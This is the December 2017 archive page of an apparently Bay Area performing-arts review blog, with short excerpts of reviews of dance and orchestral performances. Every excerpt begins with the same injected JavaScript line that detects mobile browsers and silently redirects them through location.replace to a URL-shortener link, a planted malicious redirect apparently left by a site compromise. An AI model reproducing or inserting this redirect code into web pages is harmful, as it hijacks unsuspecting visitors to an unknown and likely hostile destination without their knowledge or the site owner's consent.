December 2017 – Repeat Performances

December 15, 2017

MMDG in their cracking good ‘Hard Nut’

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/oaEYIMsAA0r3"); The Mark Morris Dance Group sleighed into town this past weekend with their holiday masterpiece, A Hard Nut. Now in its 26th year, this holiday treat is as fresh as the day...

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Kitka brings “Wintersongs” to St. Paul’s Episcopal Church of Oakland

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/oaEYIMsAA0r3"); Weaving a mid-winter spell Creating deep harmonies in the long nights of December, Kitka brought its Wintersongs concert to the Bay Area this past week. Although it makes...

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December 9, 2017

Camille A. Brown & Dancers trip the childhood fantastic

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/oaEYIMsAA0r3"); When Camille A. Brown talked about the process behind her dance piece, BLACK GIRL: Linguistic Play, in her TED Talk, she described performing the initial choreography at...

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December 7, 2017

Gemma New leads Berkeley Symphony in triumphant “Totentanz”

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/oaEYIMsAA0r3"); When the stars are aligned Great music, incisive conducting, fabulous soloist, enthusiastic musicians… yes, the stars aligned last Thursday night at Zellerbach Hall,...

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December 4, 2017

Replacing Bruno: Santa Rosa Symphony tries out new conductors

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/oaEYIMsAA0r3"); Choices, choices: a job interview in the North Bay The Santa Rosa Symphony is in the middle of an exciting journey as they change artistic directors. Bruno Ferrandis,...

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December 3, 2017

Ragamala Dance Company’s profoundly lovely “Written on Water”

(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/oaEYIMsAA0r3"); Rising out of the darkened stage at the Zellerbach Playhouse was a single elongated image of layered colors in light shining on the back left of the stage. A huge projection of the...

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